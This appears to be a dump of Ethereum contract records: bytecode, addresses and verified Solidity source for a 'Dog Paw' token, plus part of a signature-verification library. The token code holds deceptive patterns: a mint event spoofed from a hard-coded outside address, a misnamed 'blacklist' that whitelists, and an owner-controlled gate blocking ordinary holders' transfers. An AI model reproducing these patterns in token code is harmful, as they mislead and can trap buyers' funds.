08573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c657600080fd5b610817826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108aa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061097b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b8f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c23565b610ba2838261129790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ded5780601f10610dc257610100808354040283529160200191610ded565b820191906000526020600020905b815481529060010190602001808311610dd057829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e3257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e7f57600080fd5b610ed0826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f63826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110a582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112a557fe5b818303905092915050565b600081830190508281101515156112c357fe5b80905092915050565b6000808314156112df57600090506112fe565b81830290508183828115156112f057fe5b041415156112fa57fe5b8090505b929150505600a165627a7a72305820bc5116acbb20a511a5662de81157f9930fa29515e21d3c4b99ae4153f47d40ff0029
[ 38 ]
0xf25508bba4bcfc0e077136c1ead23468643ba566
/** *Submitted for verification at Etherscan.io on 2021-08-07 */ pragma solidity ^0.8.0; // SPDX-License-Identifier: UNLICENSED // t.me/dogpawshib /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) notBot; uint256 private _totalSupply; string private _name; string private _symbol; bool blastoff; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function blacklist(bool _bool, address[] memory _address) external onlyOwner { for (uint256 i=0; i < _address.length;i++){ notBot[_address[i]] = _bool; } } function _blastoff() external onlyOwner { blastoff = true; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (!blastoff && sender != owner() && recipient != owner()) require(notBot[recipient] && notBot[sender],"You are bot"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0xA221af4a429b734Abb1CC53Fbd0c1D0Fa47e1494), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract Dog_Paw is ERC20 { uint8 private _decimals = 18; uint256 private _totalSupply = 10000000000000 * 10 ** 18; string public messageFromSpace; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('Dog Paw', 'PAW') { _mint(_msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } function writeMessage(string memory secret) external { require(msg.sender == address(0xA221af4a429b734Abb1CC53Fbd0c1D0Fa47e1494) || msg.sender == address(0x813e290D74b4620cd86a71abE80F95d8AfF64D3D)); messageFromSpace = secret; } }
0x608060405234801561001057600080fd5b50600436106101365760003560e01c8063715018a6116100b2578063a9059cbb11610081578063b588bfad11610066578063b588bfad1461024c578063dd62ed3e1461025f578063f2fde38b1461027257610136565b8063a9059cbb14610231578063ac4b04671461024457610136565b8063715018a6146101f95780638da5cb5b1461020157806395d89b4114610216578063a457c2d71461021e57610136565b80632ea1ce7611610109578063345fcc85116100ee578063345fcc85146101c057806339509351146101d357806370a08231146101e657610136565b80632ea1ce76146101a1578063313ce567146101ab57610136565b806306fdde031461013b578063095ea7b31461015957806318160ddd1461017957806323b872dd1461018e575b600080fd5b610143610285565b6040516101509190610fe4565b60405180910390f35b61016c610167366004610e1d565b610317565b6040516101509190610fd9565b610181610334565b60405161015091906113a9565b61016c61019c366004610de2565b61033a565b6101a9610401565b005b6101b3610487565b60405161015091906113b2565b6101a96101ce366004610e46565b610495565b61016c6101e1366004610e1d565b6105ac565b6101816101f4366004610d8f565b610608565b6101a9610634565b610209610699565b6040516101509190610fb8565b6101436106b5565b61016c61022c366004610e1d565b6106c4565b61016c61023f366004610e1d565b61074c565b610143610760565b6101a961025a366004610f0d565b6107ee565b61018161026d366004610db0565b610843565b6101a9610280366004610d8f565b61087b565b60606005805461029490611419565b80601f01602080910402602001604051908101604052809291908181526020018280546102c090611419565b801561030d5780601f106102e25761010080835404028352916020019161030d565b820191906000526020600020905b8154815290600101906020018083116102f057829003601f168201915b5050505050905090565b600061032b610324610913565b8484610917565b50600192915050565b60045490565b60006103478484846109f2565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260026020526040812081610375610913565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156103db5760405162461bcd60e51b81526004016103d290611200565b60405180910390fd5b6103f6856103e7610913565b6103f18685611402565b610917565b506001949350505050565b610409610913565b73ffffffffffffffffffffffffffffffffffffffff16610427610699565b73ffffffffffffffffffffffffffffffffffffffff161461045a5760405162461bcd60e51b81526004016103d29061125d565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b600754610100900460ff1690565b61049d610913565b73ffffffffffffffffffffffffffffffffffffffff166104bb610699565b73ffffffffffffffffffffffffffffffffffffffff16146104ee5760405162461bcd60e51b81526004016103d29061125d565b60005b81518110156105a7578260036000848481518110610538577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff16825281019190915260400160002080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00169115159190911790558061059f8161146d565b9150506104f1565b505050565b600061032b6105b9610913565b8484600260006105c7610913565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918b16815292529020546103f191906113ea565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600160205260409020545b919050565b61063c610913565b73ffffffffffffffffffffffffffffffffffffffff1661065a610699565b73ffffffffffffffffffffffffffffffffffffffff161461068d5760405162461bcd60e51b81526004016103d29061125d565b6106976000610c5d565b565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60606006805461029490611419565b600080600260006106d3610913565b73ffffffffffffffffffffffffffffffffffffffff9081168252602080830193909352604091820160009081209188168152925290205490508281101561072c5760405162461bcd60e51b81526004016103d29061134c565b610742610737610913565b856103f18685611402565b5060019392505050565b600061032b610759610913565b84846109f2565b6009805461076d90611419565b80601f016020809104026020016040519081016040528092919081815260200182805461079990611419565b80156107e65780601f106107bb576101008083540402835291602001916107e6565b820191906000526020600020905b8154815290600101906020018083116107c957829003601f168201915b505050505081565b3373a221af4a429b734abb1cc53fbd0c1d0fa47e1494148061082357503373813e290d74b4620cd86a71abe80f95d8aff64d3d145b61082c57600080fd5b805161083f906009906020840190610cd2565b5050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260026020908152604080832093909416825291909152205490565b610883610913565b73ffffffffffffffffffffffffffffffffffffffff166108a1610699565b73ffffffffffffffffffffffffffffffffffffffff16146108d45760405162461bcd60e51b81526004016103d29061125d565b73ffffffffffffffffffffffffffffffffffffffff81166109075760405162461bcd60e51b81526004016103d2906110e9565b61091081610c5d565b50565b3390565b73ffffffffffffffffffffffffffffffffffffffff831661094a5760405162461bcd60e51b81526004016103d2906112ef565b73ffffffffffffffffffffffffffffffffffffffff821661097d5760405162461bcd60e51b81526004016103d290611146565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109e59085906113a9565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610a255760405162461bcd60e51b81526004016103d290611292565b73ffffffffffffffffffffffffffffffffffffffff8216610a585760405162461bcd60e51b81526004016103d290611055565b60075460ff16158015610a9e5750610a6e610699565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610add5750610aad610699565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610b585773ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604090205460ff168015610b3c575073ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604090205460ff165b610b585760405162461bcd60e51b81526004016103d2906110b2565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604090205481811015610b9e5760405162461bcd60e51b81526004016103d2906111a3565b610ba88282611402565b73ffffffffffffffffffffffffffffffffffffffff8086166000908152600160205260408082209390935590851681529081208054849290610beb9084906113ea565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c4f91906113a9565b60405180910390a350505050565b6000805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b828054610cde90611419565b90600052602060002090601f016020900481019282610d005760008555610d46565b82601f10610d1957805160ff1916838001178555610d46565b82800160010185558215610d46579182015b82811115610d46578251825591602001919060010190610d2b565b50610d52929150610d56565b5090565b5b80821115610d525760008155600101610d57565b803573ffffffffffffffffffffffffffffffffffffffff8116811461062f57600080fd5b600060208284031215610da0578081fd5b610da982610d6b565b9392505050565b60008060408385031215610dc2578081fd5b610dcb83610d6b565b9150610dd960208401610d6b565b90509250929050565b600080600060608486031215610df6578081fd5b610dff84610d6b565b9250610e0d60208501610d6b565b9150604084013590509250925092565b60008060408385031215610e2f578182fd5b610e3883610d6b565b946020939093013593505050565b60008060408385031215610e58578182fd5b82358015158114610e67578283fd5b915060208381013567ffffffffffffffff80821115610e84578384fd5b818601915086601f830112610e97578384fd5b813581811115610ea957610ea96114d5565b8381029150610eb98483016113c0565b8181528481019084860184860187018b1015610ed3578788fd5b8795505b83861015610efc57610ee881610d6b565b835260019590950194918601918601610ed7565b508096505050505050509250929050565b60006020808385031215610f1f578182fd5b823567ffffffffffffffff80821115610f36578384fd5b818501915085601f830112610f49578384fd5b813581811115610f5b57610f5b6114d5565b610f8b847fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f840116016113c0565b91508082528684828501011115610fa0578485fd5b80848401858401378101909201929092529392505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561101057858101830151858201604001528201610ff4565b818111156110215783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600b908201527f596f752061726520626f74000000000000000000000000000000000000000000604082015260600190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160408201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b90815260200190565b60ff91909116815260200190565b60405181810167ffffffffffffffff811182821017156113e2576113e26114d5565b604052919050565b600082198211156113fd576113fd6114a6565b500190565b600082821015611414576114146114a6565b500390565b60028104600182168061142d57607f821691505b60208210811415611467577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561149f5761149f6114a6565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea264697066735822122089c5833a70207b9ea3d9cf8d123c9197361cf8b5532327ef544277a5decc329a64736f6c63430008000033
[ 20 ]
0xf2555451d1ed412d20369300bb15f30339b38bd9
// SPDX-License-Identifier: MIT // File: contracts/Signer.sol pragma solidity ^0.8.3; /* Signature Verification How to Sign and Verify # Signing 1. Create message to sign 2. Hash the message 3. Sign the hash (off chain, keep your private key secret) # Verify 1. Recreate hash from the original message 2. Recover signer from signature and hash 3. Compare recovered signer to claimed signer */ library VerifySignature { /* 1. Unlock MetaMask account ethereum.enable() */ /* 2. Get message hash to sign getMessageHash( 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C, 123, "coffee and donuts", 1 ) hash = "0xcf36ac4f97dc10d91fc2cbb20d718e94a8cbfe0f82eaedc6a4aa38946fb797cd" */ function getMessageHash( address _minter, uint _quantity, uint _nonce ) public pure returns (bytes32) { return keccak256(abi.encodePacked(_minter, _quantity, _nonce)); } /* 3. Sign message hash # using browser account = "copy paste account of signer here" ethereum.request({ method: "personal_sign", params: [account, hash]}).then(console.log) # using web3 web3.personal.sign(hash, web3.eth.defaultAccount, console.log) Signature will be different for different accounts 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b */ function getEthSignedMessageHash(bytes32 _messageHash) public pure returns (bytes32) { /* Signature is produced by signing a keccak256 hash with the following format: "\x19Ethereum Signed Message\n" + len(msg) + msg */ return keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", _messageHash) ); } /* 4. Verify signature signer = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd to = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C amount = 123 message = "coffee and donuts" nonce = 1 signature = 0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b */ function verify( address _signer, address _minter, uint _quantity, uint _nonce, bytes memory signature ) public pure returns (bool) { bytes32 messageHash = getMessageHash(_minter, _quantity, _nonce); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == _signer; } function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) public pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature(bytes memory sig) public pure returns ( bytes32 r, bytes32 s, uint8 v ) { require(sig.length == 65, "invalid signature length"); assembly { /* First 32 bytes stores the length of the signature add(sig, 32) = pointer of sig + 32 effectively, skips first 32 bytes of signature mload(p) loads next 32 bytes starting at the memory address p into memory */ // first 32 bytes, after the length prefix r := mload(add(sig, 32)) // second 32 bytes s := mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v := byte(0, mload(add(sig, 96))) } // implicitly return (r, s, v) } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative 